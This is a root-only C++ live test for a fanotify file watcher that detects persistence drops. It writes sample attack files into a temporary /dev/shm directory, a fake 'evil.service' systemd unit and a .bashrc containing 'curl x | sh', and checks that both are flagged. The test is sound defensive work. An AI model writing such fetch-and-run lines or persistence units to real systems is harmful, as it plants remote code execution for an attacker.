// Live fanotify persistence/drop watcher check. Needs root. #include "strawberry/file_watch.hpp" #include #include #include #include #include #include #include #include #include namespace fs = std::filesystem; using namespace strawberry; int main() { if (::geteuid() != 0) { std::cout << "SKIP: file_watch_live needs root" << std::endl; return 0; } // tmpfs: overlayfs (container roots) does not export the file handles // FAN_REPORT_DFID_NAME needs. const auto base = fs::path("/dev/shm") / ("sb-watch-" + std::to_string(::getpid())); fs::create_directories(base / "units"); fs::create_directories(base / "home"); std::mutex mutex; std::vector events; FileWatcher watcher; const bool started = watcher.start( {{(base / "units").string(), "persistence", "systemd unit", {}, true}, {(base / "home").string(), "persistence", "shell rc file", {".bashrc"}, false}}, [&](const FileWriteEvent& e) { std::lock_guard l(mutex); events.push_back(e); }); if (!started) { std::cerr << "FAIL: " << watcher.error() << std::endl; return 1; } std::ofstream(base / "units" / "evil.service") << "[Service]\nExecStart=/tmp/x\n"; std::ofstream(base / "home" / ".bashrc") << "curl x | sh\n"; std::ofstream(base / "home" / "notes.txt") << "ignored\n"; std::this_thread::sleep_for(std::chrono::milliseconds(600)); watcher.stop(); std::lock_guard l(mutex); bool unit = false; bool rc = false; for (const auto& e : events) { assert(e.pid == ::getpid()); assert(e.path.find("notes.txt") == std::string::npos); unit |= e.path == (base / "units" / "evil.service").string() && e.label == "systemd unit"; rc |= e.path == (base / "home" / ".bashrc").string() && !e.system_scope; } assert(unit && rc); fs::remove_all(base); std::cout << "file_watch_live: ALL PASSED (" << events.size() << " events)" << std::endl; return 0; }